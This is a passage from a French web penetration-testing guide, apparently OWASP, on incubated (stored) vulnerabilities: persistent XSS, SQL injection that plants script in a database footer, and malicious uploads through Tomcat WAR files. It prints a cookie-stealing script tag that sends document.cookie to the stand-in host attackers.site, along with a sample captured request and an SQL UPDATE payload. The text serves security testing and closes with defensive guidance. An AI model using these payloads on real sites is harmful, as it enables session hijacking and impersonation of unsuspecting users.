Également souvent désignés comme attaques persistantes, les tests des vulnérabilités incubées est une méthode d'analyse complexe qui nécessite plus d'une vulnérabilité de validation des données pour fonctionner. Cette section décrit un ensemble d'exemples pour tester les vulnérabilités incubées.

• Premièrement, le vecteur d'attaque doit être conservé, il doit être stocké dans la couche de persistance, et cela ne se produirait que si une validation des données faible était présente ou lorsque les données sont arrivées dans le système via un autre canal comme une console d'administration ou directement via un processus backend discontinu.
• Deuxièmement, une fois que le vecteur d'attaque a été «rappelé» le vecteur devrait être exécutée avec succès. Par exemple, une attaque XSS incubée exigerait une validation de sortie faible, de manière à ce que le script soit livré au client sous sa forme exécutable.

L'exploitation de quelques vulnérabilités, ou des caractéristiques fonctionnelles même d'une application web, permettra à un attaquant de planter une partie des données qui seront ensuite récupérées par un utilisateur non averti ou un autre composant du système, en exploitant une vulnérabilité.

Dans un test de pénétration, les attaques incubées peuvent être utilisées pour évaluer la criticité de certains bugs, en utilisant le problème de sécurité trouvé pour construire une attaque côté client basée sur ce que sera habituellement utilisé pour cibler un grand nombre de victimes en même temps (c-à-d tous les utilisateurs du site).

Ce type d'attaque asynchrone couvre un large spectre de vecteurs d'attaque, dont les suivantes:

• Téléchargement de fichiers composants dans une application Web, ce qui permet à l'attaquant de télécharger des fichiers médias corrompus (des images jpg exploitant la CVE-2004-0200,des images png exploitant la CVE-2004-0597,des fichiers exécutables, des pages du site avec des composants actifs, etc)
• Exploitation de failles cross-site scripting dans les messages des forums publics (voir Test de scripts intersites pour plus de détails). Un attaquant pourrait potentiellement stocker des scripts malveillants ou du code dans un référentiel dans le backend de l'application Web (par exemple, une base de données), de sorte que ce script / code soit exécuté par l'un des utilisateurs (utilisateurs finaux, administrateurs, etc.) L'attaque incubée archétype est illustré à l'aide d'une vulnérabilité de script inter-sites dans un forum d'utilisateurs, tweet, ou blog afin d'injecter du code JavaScript dans la page vulnérable, qui sera finalement rendu et exécuté par le navigateur de l'utilisateur du site - en utilisant le niveau de confiance de l'original (vulnérable).
• Injection SQL / XPATH permettant à l'attaquant d'uploader des contenus de base de données, qui seront ensuite récupérées dans le cadre du contenu actif dans une page Web. Par exemple, si l'attaquant peut poster du code JavaScript arbitraire dans un tableau d'affichage de sorte qu'il soit exécuté par les utilisateurs, alors il pourrait prendre le contrôle de leurs navigateurs (par exemple, XSS-proxy).
• Installation des packages Java ou de composants du site Web similaires sur des serveurs mal configurés (par exemple Tomcat ou sites d'hébergement web tels que les consoles de Plesk, cPanel, Helm, etc)

Vérifier le type de contenu autorisé au téléchargement par l'application Web et l'URL d'upload qui en résulte. Uploader un fichier qui exploitera un composant dans le poste de travail utilisateur local lorsqu'il est consulté ou téléchargé par l'utilisateur.

Envoyer à votre victime un e-mail ou toute autre sorte d'alerte afin de l'amener à parcourir la page.

Le résultat attendu sera déclenché lorsque l'utilisateur provoquera l'exécution du fichier malveillant en parcourant la page résultante ou les téléchargements du site de confiance.

1. Introduire le code JavaScript comme valeur dans le champ vulnérables, par exemple:

<nowiki><script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script></nowiki>

2. Inciter les utilisateurs à parcourir la page vulnérable ou attendre que les utilisateurs la parcourent. Un «listener» sur l'hôte attackers.site doit être à l'écoute de toutes les connexions entrantes.

3. Lorsque les utilisateurs parcourent la page vulnérable, une requête contenant leur cookie (document.cookie est inclus dans le framework de l'URL demandée) sera envoyée à l'hôte attackers.site, comme ce qui suit:

- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
    %20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;
    TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1

4. Utiliser les cookies obtenus des utilisateurs pour usurper l'identité sur le site vulnérable.

Habituellement, cette exemple s'appuie sur les attaques XSS en exploitant une vulnérabilité par injection SQL. La première chose à vérifier est de savoir si le site cible a une vulnérabilité d'injection SQL. Cette opération est décrite à la section testing_for_sql_injection. Pour chaque vulnérabilité par injection SQL, il existe un ensemble sous-jacent de contraintes décrivant le type de requêtes que l'attaquant / le pen testeur est autorisé à faire. Le testeur doit ensuite faire correspondre les attaques XSS qu'il a élaboré avec les entrées qu'il est autorisé à insérer.

1. De la même manière que dans l'exemple XSS précédent, utiliser un champ de la page web vulnérable à des problèmes d'injection SQL pour modifier une valeur dans la base de données qui sera utilisé par l'application en entrée sur le site sans filtrage adéquat (ce qui serait une combinaison d'une faille d'injection SQL et XSS). Par exemple, supposons qu'il y a une table « footer” dans la base de données avec tous les pieds de page pour les pages du site, dans laquelle on trouve un champ « notice” qui permet de notifier l'avis juridique qui apparaît au bas de chaque page Web. Vous pouvez utiliser la requête suivante pour injecter du code JavaScript dans le champs « notice » de la table « footer » dans la base de données.

SELECT field1, field2, field3
 FROM table_x
 WHERE field2 = 'x';
    UPDATE footer
    SET notice = 'Copyright 1999-2030%20
        <__yamdwe_nowiki>1</__yamdwe_nowiki>
    WHERE notice = 'Copyright 1999-2030';

2. Maintenant, chaque utilisateur qui navigue sur le site va envoyé ses témoins vers attackers.site (étapes b.2 à b.4).

Certains serveurs Web présentent une interface d'administration qui peut permettre à un attaquant de télécharger des composants actifs de son choix sur le site. Cela pourrait être le cas avec un serveur Apache Tomcat qui n'applique pas de solides identifications pour accéder à son gestionnaire d'applications Web (ou si les testeurs ont pu obtenir des informations d'identification valides pour le module d'administration par d'autres moyens). Dans ce cas, un fichier WAR peut être téléchargé et une nouvelle application Web déployée sur le site, ce qui permettra non seulement au testeur d'exécuter le code de son choix localement sur le serveur, mais aussi de planter une application du site à laquelle les utilisateurs réguliers du site ont souvent accès .

Les serveurs qui donnent à l'attaquant la permission d'écrire sur la racine (Webroot) ,permettent également la réalisation d'une attaque incubée, car cela offre la possibilité de modifier le contenu des pages Web sur le serveur, via des vulnérabilités qui pourraient s'y trouver(en fait, il s'agit d'une méthode d'infection connue permettant l'injection de vers (worms) dans des serveurs Web).

Les techniques de test boite grise / blanche sont les mêmes que précédemment.

L'examen de la validation de l'entrée est un élément clé dans la lutte contre cette vulnérabilité. Si d'autres systèmes de l'entreprise utilisent la même couche de persistance ils peuvent avoir des mécanismes de validation d'entrée faibles et les données peuvent être injectées via une “porte dérobée”. Pour lutter contre la “porte dérobée” dans des attaques côté client, la validation de sortie doit également être utilisée afin que les données souillées soient codées avant d'être affichées, et donc pas exécutées. Voir la section Validation des données (data_validation) du guide de révision du Code.

La plupart des références de la section de script inter-sites sont valides. Comme expliqué plus haut, les attaques incubées sont exécutées lorsque l'on combine des exploits tels que les attaques XSS ou par injection SQL.

• CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html

  • Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html

• Web Application Security Consortium “Threat Classification, Cross-site scripting” - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

• XSS-proxy - http://sourceforge.net/projects/xss-proxy

  • Paros - http://www.parosproxy.org/index.shtml
  • Burp Suite - http://portswigger.net/burp/proxy.html